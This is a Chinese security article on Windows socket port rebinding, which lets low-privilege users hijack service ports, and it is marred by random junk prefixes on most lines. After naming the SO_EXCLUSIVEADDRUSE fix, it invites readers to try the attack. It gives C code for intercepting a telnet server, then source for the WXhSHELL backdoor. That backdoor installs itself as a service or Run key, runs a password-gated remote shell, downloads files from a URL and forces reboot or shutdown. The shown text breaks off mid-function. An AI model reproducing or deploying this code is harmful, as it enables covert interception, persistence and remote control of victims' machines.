在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fBf4]^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
zb>f;[ aN^]bs?R saddr.sin_family = AF_INET;
3I9T|wQ-] PGPISrf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8)^B32 }}^,7npU bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+Dx1/I
G"o!} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S=0"f}Jo. 7|&e[@B 这意味着什么?意味着可以进行如下的攻击:
EJf #f :]P~.PD5, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_BZ1Vnv !_CX2| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CS/Mpmsp !c3```* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EMVk:Vt] ?z2jk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?QCmSK=L w)+wj[6
E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
r4O|() IDy_L;'`* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9R9__w; Y3#Nux% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L'zE<3O'3 uije#cj#O #include
y[:
~CL #include
/@ y;iJk; #include
v8ba~ #include
2
;JQX! DWORD WINAPI ClientThread(LPVOID lpParam);
96(R'^kNX int main()
QBy{|sQ` {
Tbv/wJ WORD wVersionRequested;
ShQ|{P9 DWORD ret;
?b||Cr WSADATA wsaData;
D`6iDit BOOL val;
QX[Djz0H8 SOCKADDR_IN saddr;
`/#f?Hk= SOCKADDR_IN scaddr;
WfTD7?\dw int err;
6cM<>&e SOCKET s;
\)ip>{WG SOCKET sc;
)uZoH8? int caddsize;
#
;K,,ku
x HANDLE mt;
C:]s;0$3'9 DWORD tid;
,4[dLWU wVersionRequested = MAKEWORD( 2, 2 );
4&Byl85q err = WSAStartup( wVersionRequested, &wsaData );
k`Nyi)AGe if ( err != 0 ) {
lC0~c=?J printf("error!WSAStartup failed!\n");
Q"40#RFA return -1;
l , ..5 }
qu_)`wB saddr.sin_family = AF_INET;
u*2fP]n ]kx-,M( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P?kx }91*4@B7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
zj<ahg%z saddr.sin_port = htons(23);
MDJc[am if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"!O1j
r; {
<3 A0={En printf("error!socket failed!\n");
4'' ,6KJ@ return -1;
yL6^\x }
C,/O
val = TRUE;
NUCiY\td //SO_REUSEADDR选项就是可以实现端口重绑定的
)l&D]3$6K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#%:c0= {
t8QRi!\= printf("error!setsockopt failed!\n");
F|>05>8 return -1;
|( G2K'Ab }
B
MM--y@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
T-'~? [v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ow$q7uf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^i+[m ]jyM@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@Br
{!#Wf {
u:@U
$:sZ ret=GetLastError();
B{C_hy-fw printf("error!bind failed!\n");
^T:gb]i'Qa return -1;
8'A72*dhX }
AEY$@!8
listen(s,2);
[ $pmPr2 while(1)
wJe?t$ac? {
%Tv^GP{} caddsize = sizeof(scaddr);
gY(1,+0- //接受连接请求
`0{ S3v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5,1{Tv` if(sc!=INVALID_SOCKET)
U&UKUACn" {
44\cI]!{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/`[!_4i if(mt==NULL)
LvcuZZ`1a {
P ZxFZvE printf("Thread Creat Failed!\n");
]ab#q= break;
XM/vDdR }
Tkw;pb }
lT'9u,6 CloseHandle(mt);
|Y},V_@d }
|S&5es-yW closesocket(s);
K B!5u 9 WSACleanup();
[ %}u=}@ return 0;
:]PM_V| }
Dw_D+7>(v DWORD WINAPI ClientThread(LPVOID lpParam)
Iy';x {
<xo-Fv SOCKET ss = (SOCKET)lpParam;
*/z??fI27 SOCKET sc;
06 i;T~Y unsigned char buf[4096];
N2ied^* 0 SOCKADDR_IN saddr;
MV0Lq:# N long num;
+pf5\#l? DWORD val;
6?qDdVR~] DWORD ret;
#DFV=:|~ //如果是隐藏端口应用的话,可以在此处加一些判断
<@G8ni //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
KVPR}qTP; saddr.sin_family = AF_INET;
wJeG(h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Md,pDWb saddr.sin_port = htons(23);
v.=/Y(J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h1[WhBL-O {
QJn`WSw$_- printf("error!socket failed!\n");
C3XmK}h return -1;
&H||&Z[pk }
M6rc!K val = 100;
x[(?# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LOvHkk@+ {
-r<#rITH" ret = GetLastError();
4-R^/A0 return -1;
N@xg:xr }
-.IEgggf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6/Fzco#N {
R"AUSO|{ ret = GetLastError();
52d^K0STC return -1;
C[uOReo }
kW@,$_cK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w%y\dIeI' {
?F7o!B printf("error!socket connect failed!\n");
k|YWOy@D~ closesocket(sc);
yClx` S( closesocket(ss);
+Qxu$# return -1;
71fk.16 }
mee$"Y while(1)
l|/LQ/ {
-nbMTY} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5fJ[}~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
4)6xU4eBaL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_[K"gu num = recv(ss,buf,4096,0);
EW<kI+0D if(num>0)
ObG|o1b send(sc,buf,num,0);
(`BSVxJH else if(num==0)
Q`%R[# break;
lrWQOYf2 num = recv(sc,buf,4096,0);
FV39QG4b4 if(num>0)
4|?{VQ send(ss,buf,num,0);
Oakb' else if(num==0)
$wB^R(f@ break;
#A7jyg": }
C?4JXW closesocket(ss);
d[D&J closesocket(sc);
S6d`ioi- return 0 ;
7nU6k%_ % }
R\|lt)h n5-)/R[z 9BEFr/. ==========================================================
'8 Ztj (ll*OVL 下边附上一个代码,,WXhSHELL
iRV~Il#~! LQYy;<K ==========================================================
fvq,,@23 OZY, @c #include "stdafx.h"
e({9] @f+8%I3D #include <stdio.h>
oR1^/e #include <string.h>
5yZ TcS z #include <windows.h>
-]uUY e
c #include <winsock2.h>
I<td1Y1q #include <winsvc.h>
y&m0Lz53Z #include <urlmon.h>
#]?bLm<! I04jjr:< #pragma comment (lib, "Ws2_32.lib")
cF)/^5Z #pragma comment (lib, "urlmon.lib")
B+d<F[| F>je4S; #define MAX_USER 100 // 最大客户端连接数
|{r$jZeE #define BUF_SOCK 200 // sock buffer
j%u-dr #define KEY_BUFF 255 // 输入 buffer
N,dT3we M 3 '$[ #define REBOOT 0 // 重启
f/,>%j=Ms #define SHUTDOWN 1 // 关机
_@mRb^ l>gI&1)% #define DEF_PORT 5000 // 监听端口
xT&(n/ 2T@GA1G #define REG_LEN 16 // 注册表键长度
kd`0E-QU #define SVC_LEN 80 // NT服务名长度
D_mL,w 7?8wyk|x // 从dll定义API
{5r0v#; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>T2LEW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E/&Rb*3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u%/fx~t$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
H=*5ASc im} ?rY // wxhshell配置信息
4/ kv3rv struct WSCFG {
`1*nL,i int ws_port; // 监听端口
oI:o"T77sA char ws_passstr[REG_LEN]; // 口令
2~[@_ int ws_autoins; // 安装标记, 1=yes 0=no
v~3B:k:?l char ws_regname[REG_LEN]; // 注册表键名
\<Sv3xy&O char ws_svcname[REG_LEN]; // 服务名
YJg,B\z} char ws_svcdisp[SVC_LEN]; // 服务显示名
0~wF3BgV char ws_svcdesc[SVC_LEN]; // 服务描述信息
9SlNq05G7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
eI.2`)> int ws_downexe; // 下载执行标记, 1=yes 0=no
$Nrm!/)*'} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<~TP#uAz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A[IL
H_w NjPDX>R\K };
E:zF/$tG J:uW`R // default Wxhshell configuration
^-mRP\5 struct WSCFG wscfg={DEF_PORT,
S##1GOO "xuhuanlingzhe",
\^( 0B8|w 1,
9a\nszwa "Wxhshell",
JO=[YoTr "Wxhshell",
|(moWY= "WxhShell Service",
IK,|5] *Ar "Wrsky Windows CmdShell Service",
D|Iur W1f "Please Input Your Password: ",
%75xr9yOP 1,
}i{sg# "
http://www.wrsky.com/wxhshell.exe",
dzK{
Z "Wxhshell.exe"
`l2O?U -@ };
?
J}r !US d9 // 消息定义模块
8}H1_y-g[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~\x:<) char *msg_ws_prompt="\n\r? for help\n\r#>";
&l$Q^g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%ms'n char *msg_ws_ext="\n\rExit.";
1Je9,dd6 char *msg_ws_end="\n\rQuit.";
/bj
<Ft\ char *msg_ws_boot="\n\rReboot...";
o"wXIHUmV char *msg_ws_poff="\n\rShutdown...";
M/x >51< char *msg_ws_down="\n\rSave to ";
^7;JC7qmN P%)gO char *msg_ws_err="\n\rErr!";
Pe C7 char *msg_ws_ok="\n\rOK!";
<YA&Dr3OD (~zd6C1. char ExeFile[MAX_PATH];
K{n{KB&_& int nUser = 0;
m9U"[Huv1E HANDLE handles[MAX_USER];
x21dku<6K[ int OsIsNt;
1/p*tZP8i syU9O&< SERVICE_STATUS serviceStatus;
^pn(=4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
go+Q~NV UobyK3.% // 函数声明
H|cNH= int Install(void);
85EQ5yY int Uninstall(void);
#%J5\+ua int DownloadFile(char *sURL, SOCKET wsh);
$+.l*] int Boot(int flag);
l3N I$Zu void HideProc(void);
7t,t` int GetOsVer(void);
dU\%Cq-G) int Wxhshell(SOCKET wsl);
*[=bR> void TalkWithClient(void *cs);
"V{yi!D{< int CmdShell(SOCKET sock);
G:x*BH+ int StartFromService(void);
e><5Pr) int StartWxhshell(LPSTR lpCmdLine);
7~#:>OjW E\gim<] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\{Q?^E VOID WINAPI NTServiceHandler( DWORD fdwControl );
S+TOSjfis \om%Q[F7a // 数据结构和表定义
nG_6oe*=I SERVICE_TABLE_ENTRY DispatchTable[] =
=^H4 Yck/5 {
eZ"1gYqy {wscfg.ws_svcname, NTServiceMain},
Bgmn2- {NULL, NULL}
iC
iZJ" };
RwS@I/ Y>jiXl?&
// 自我安装
"c}@V*cO<d int Install(void)
5*[2yKsTi {
7ugZE93! char svExeFile[MAX_PATH];
O;7)Hjw t HKEY key;
f|u#2!7 strcpy(svExeFile,ExeFile);
7JSNYTH =^
T\Xs;GK // 如果是win9x系统,修改注册表设为自启动
P{Q=mEQ if(!OsIsNt) {
FKe, qTqa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2lL,zFAq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'+j} >Q RegCloseKey(key);
A(]H{>PMy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jqr1V_3( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]kG(G%r|M RegCloseKey(key);
s,a}?W return 0;
^5r9 5 }
DcSnia62f }
?5kHa_^ }
=2w4C_ else {
pm{|?R eAPXWWAZJ1 // 如果是NT以上系统,安装为系统服务
~
ihI_q" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,vW:}&U if (schSCManager!=0)
pLv$\MiZ {
;-UmY}MU SC_HANDLE schService = CreateService
g/13~UM\ (
I(=V}s2 schSCManager,
QRLt9L wscfg.ws_svcname,
OT'[:|x ; wscfg.ws_svcdisp,
tH'2gl SERVICE_ALL_ACCESS,
YJ(*wByM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lsN~*q?~] SERVICE_AUTO_START,
02BuX]_0g SERVICE_ERROR_NORMAL,
'l,V*5L svExeFile,
u^029sH6j NULL,
BB|?1"neg NULL,
#p[',$cC NULL,
ah~YeJp NULL,
uYr fm:4S NULL
MQin"\ );
@3kKJ if (schService!=0)
V`@>MOw^d {
O{ /q-~_ CloseServiceHandle(schService);
JI vo_7{ CloseServiceHandle(schSCManager);
H4]Ul
eU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
zSb PW6U strcat(svExeFile,wscfg.ws_svcname);
:kfp_o+J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B:7mpSnEQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
BL&LeSa RegCloseKey(key);
7t.!lh5G% return 0;
,]b~t0|B }
k%^lF?_0I }
tDAhyy73 CloseServiceHandle(schSCManager);
"fq{Y~F%` }
Fv<`AU }
r1fGJv1!o B7]MGXC return 1;
P'Q+GRpSw }
D-N8<:cA s=42uKz // 自我卸载
n("0%@ov int Uninstall(void)
A/`%/0e {
%\i9p]= HKEY key;
n@ G[ >ooZj9:' if(!OsIsNt) {
qTQBt} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z(!00^ RegDeleteValue(key,wscfg.ws_regname);
o6//IOZ RegCloseKey(key);
"W(Q%1!Wi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jv&!Kw.Ug RegDeleteValue(key,wscfg.ws_regname);
wb~@7,D RegCloseKey(key);
J:skJ.Wx return 0;
I[n^{8gz }
U T="2*3gz }
S]E.KLR?[; }
I"KN"v^ else {
+>4;Z d!@d } CfqG?) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
IIyI=WlpG if (schSCManager!=0)
&?h,7
D;A {
b:w?PC~O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ag@; if (schService!=0)
;`6^6p\p {
|2KAo!PI if(DeleteService(schService)!=0) {
2YDM9`5xs\ CloseServiceHandle(schService);
U)3DQ6T99 CloseServiceHandle(schSCManager);
fNrgdfo return 0;
NssELMtF!g }
;D$)P7k6 CloseServiceHandle(schService);
_2N$LLbg }
D1&A,2wO CloseServiceHandle(schSCManager);
<\;#jF%V }
o;?/HE%,[ }
85GKymz$P MQ"xOcD*F return 1;
+5XpzZ{#Wa }
/B}lO0]: q/n,,! // 从指定url下载文件
Z>
r^SWL int DownloadFile(char *sURL, SOCKET wsh)
5#K4bA {
%AQIGBcgL HRESULT hr;
$1v&azM. char seps[]= "/";
J(6oL char *token;
i'\T R|qd char *file;
u7=U^}# char myURL[MAX_PATH];
[}&Sxgv char myFILE[MAX_PATH];
>KJ+-QuO& ) Yd?m0m* strcpy(myURL,sURL);
r\/+Oa' token=strtok(myURL,seps);
M|Rb&6O while(token!=NULL)
9:M`
j {
^_m9KA file=token;
YY!Rz[/ token=strtok(NULL,seps);
71\xCSI1w& }
"&3h2(#% ~
yX2\i" GetCurrentDirectory(MAX_PATH,myFILE);
KGg3 !jY strcat(myFILE, "\\");
e;(0(rI strcat(myFILE, file);
y99mC$"Ee` send(wsh,myFILE,strlen(myFILE),0);
_]:z \TDn send(wsh,"...",3,0);
7a~X:# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SCz318n if(hr==S_OK)
%Z1N;g0 return 0;
s~Te else
/bVoErf return 1;
XcjRO#s\ ,I,\ml
}
mWvl38 Q 7?#=N? // 系统电源模块
Bs?^2T~%{ int Boot(int flag)
d N$Tf {
R47\Y HANDLE hToken;
15sp|$&` TOKEN_PRIVILEGES tkp;
/~<@ *-' |)*fRL, if(OsIsNt) {
cMOyo<F#^= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LSRk7'0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
o !U
6? tkp.PrivilegeCount = 1;
}B1!gz$YNO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,l)^Ft`5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1.6:# if(flag==REBOOT) {
.;N 1N^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(UxW; return 0;
_FWBUZ;N }
<Sr else {
[)TRTxFb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.Fp4:
e return 0;
q?8|
[. }
8#g1P4 }
0ik7v<: else {
9_5ow if(flag==REBOOT) {
|/)${*a4n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:n-]>Q>5=k return 0;
s']Bx= }
$A-J,_:T< else {
sjV!5Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\vO,Ee~#W return 0;
5yz(>EVH }
_BP&n